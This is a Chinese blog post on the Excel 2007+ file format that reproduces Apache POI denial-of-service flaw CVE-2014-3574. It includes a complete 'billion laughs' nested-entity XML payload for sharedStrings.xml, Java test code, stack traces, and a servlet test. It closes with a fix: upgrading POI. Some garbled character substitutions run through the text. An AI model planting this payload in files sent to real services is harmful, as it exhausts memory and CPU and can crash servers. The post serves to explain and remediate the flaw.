1、概述前端
最先的时候,java开发人员在操做excel的时候,用的最多的框架应该是poi、jxl。随着office的不断发展,office2007开始支持openXML的协议,后续陆续出现了新的框架支持操做office,如docx4j等。openXML使得数据的结构、组成更加透明,能够经过必定的操做看到内部完整的结构,若是仔细研究内部的属性,还能够进行更深层次的操做。固然,有利有弊,这也在必定程度上带来了麻烦,由于文件能够随意的更改内部的组成,在必定程度上给相关系统形成麻烦。java
2、excel2007+的结构预览web
关于更多openXML的信息,能够搜索查阅。下面主要对于excel的目录结构进行说明。apache
一、新建一个excel后端
要求为2007或以上,能够随便填写一些内容,而后将后缀更改成.zip,而后用压缩软件进行解压,查看目录结构,以下:浏览器
二、对xl目录下的文件进行分析服务器
3、漏洞CVE-2014-3574现象app
该漏洞可查看POI拒绝服务漏洞。该漏洞的本质是对xml进行解析的时候会进行N屡次的递归,有点死循环的现象,形成CPU瞬间100%。若是该漏洞被攻击,可能致使业务不正常甚至服务器崩溃。若是是正常的office文件建立,是不会出现该问题的,只有在特定人为状况下,该漏洞才可能出现。框架
4、结合代码复现漏洞dom
在第二点说明excel内部结构的时候,能够看到内部有个shareStrings.xml,该文件主要用于常量字符串的定义。sheet.xml中会对该文件中的值进行依赖引用。因此要解析excel,事先确定须要先将常量进行解析。下面的漏洞是对该文件进行操做形成的。
一、使用POI进行解析
我使用的是POI3.8
import java.io.FileInputStream; import org.apache.poi.ss.usermodel.Sheet; import org.apache.poi.xssf.usermodel.XSSFWorkbook; public class TestExcel { public static void main(String[] args) throws Exception{ XSSFWorkbook wb = new XSSFWorkbook(new FileInputStream("D:/test.xlsx")); Sheet sheet = wb.getSheetAt(0); System.out.println(sheet.getPhysicalNumberOfRows()); } }
若是是新建立的文件,此处能够正常打印出物理行数。
二、修改sharedStrings.xml,再进行运行
用zip打开excel文件,将sharedStrings.xml修改为如下内容
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
再从新运行,能够看到程序并不会很快的打印出物理行数,而是不断的运行(若是加启动参数verbose:gc,能够看到内存的不断回收)。过一下子以后程序报出内存溢出的错误。正常来讲,这个excel文件只有几K,应该是很快就能够获得结果,可是却运行了这么久,并且内存溢出,说明程序的某个地方可能进行了相似于死循环的状况。
三、再次调整sharedStrings.xml并运行
将sharedStrings.xml内容改成以下:
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> ]> <lolz>&lol2;</lolz>
执行,发现程序抛出以下异常:
Exception in thread "main" org.apache.poi.POIXMLException: java.lang.reflect.InvocationTargetException at org.apache.poi.xssf.usermodel.XSSFFactory.createDocumentPart(XSSFFactory.java:62) at org.apache.poi.POIXMLDocumentPart.read(POIXMLDocumentPart.java:403) at org.apache.poi.POIXMLDocument.load(POIXMLDocument.java:155) at org.apache.poi.xssf.usermodel.XSSFWorkbook.<init>(XSSFWorkbook.java:190) at TestExcel.main(TestExcel.java:10) Caused by: java.lang.reflect.InvocationTargetException at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:39) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:27) at java.lang.reflect.Constructor.newInstance(Constructor.java:513) at org.apache.poi.xssf.usermodel.XSSFFactory.createDocumentPart(XSSFFactory.java:60) ... 4 more Caused by: java.io.IOException: error: The document is not a sst@http://schemas.openxmlformats.org/spreadsheetml/2006/main: document element mismatch got lolz at org.apache.poi.xssf.model.SharedStringsTable.readFrom(SharedStringsTable.java:125) at org.apache.poi.xssf.model.SharedStringsTable.<init>(SharedStringsTable.java:102) ... 9 more
此时没有抛出异常,说明对该文件的解析已经完成,而且断定了该文件的格式不正确。
四、分析
首先对sharedStrings.xml中添加的内容进行分析。拿第二点的数据,<lolz>&lol9;</lolz>表明引用ENTITY lol9,而ENTITY lol9由10个lol8组成,每一个lol8又是由10个1ol7组成,因此将会一直的递归,次数会达到10^9。该次数可能致使机器短期内的CPU暴涨,据计算,须要将近3G的内存,因此运行的时候,程序会不断在跑,最终抛出内存溢出的错误,若是在一台内存足够大的机器上,应该是CPU一直沾满,程序一直在跑直到结束为止;第3点的数据,因为数据很小,只有10^2=100次的计算,因此程序很快就结束,继续下面的流程时检查到文件内的格式等错误,抛出了相应的异常。
五、解决方案
将POI升级到3.12能够解决该问题,运行过程当中会抛出异常。运行刚刚的文件,会抛出异常
Exception in thread "main" java.lang.NullPointerException at com.sun.org.apache.xerces.internal.dom.DeferredDocumentImpl.setChunkIndex(DeferredDocumentImpl.java:1944) at com.sun.org.apache.xerces.internal.dom.DeferredDocumentImpl.appendChild(DeferredDocumentImpl.java:644) at com.sun.org.apache.xerces.internal.parsers.AbstractDOMParser.characters(AbstractDOMParser.java:1191) at com.sun.org.apache.xerces.internal.impl.dtd.XMLDTDValidator.characters(XMLDTDValidator.java:862) at com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.scanDocument(XMLDocumentFragmentScannerImpl.java:463) at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(XML11Configuration.java:807) at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(XML11Configuration.java:737) at com.sun.org.apache.xerces.internal.parsers.XMLParser.parse(XMLParser.java:107) at com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(DOMParser.java:225) at com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(DocumentBuilderImpl.java:283) at javax.xml.parsers.DocumentBuilder.parse(DocumentBuilder.java:124) at org.apache.poi.util.DocumentHelper.readDocument(DocumentHelper.java:96) at org.apache.poi.openxml4j.opc.internal.unmarshallers.PackagePropertiesUnmarshaller.unmarshall(PackagePropertiesUnmarshaller.java:108) at org.apache.poi.openxml4j.opc.OPCPackage.getParts(OPCPackage.java:713) at org.apache.poi.openxml4j.opc.OPCPackage.open(OPCPackage.java:275) at org.apache.poi.util.PackageHelper.open(PackageHelper.java:37) at org.apache.poi.xssf.usermodel.XSSFWorkbook.<init>(XSSFWorkbook.java:266) at TestExcel.main(TestExcel.java:10)
5、扩展
若是前端请求,后端响应XML内容,XML的内容如上,结果会怎样呢?测试代码以下
public class TestServlet extends HttpServlet { @Override protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setContentType("text/xml;charset=utf-8"); InputStream is = new FileInputStream(new File("d:/test.xml")); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String s = null; while((s = reader.readLine())!=null){ resp.getWriter().write(s); } reader.close(); resp.getWriter().close(); } } web.xml配置: <servlet> <servlet-name>test</servlet-name> <servlet-class>TestServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>test</servlet-name> <url-pattern>/test.do</url-pattern> </servlet-mapping>
前端请求http://localhost:8080/poi/test.do若是xml文件的个数比较少,到lol2,则Chrome和IE均可以打开显示内容:
,可是,若是将个数调整为3个以上,则IE浏览器仍然会继续渲染10^N,可是Chrome此时已经有了提示,说XML中存在循环: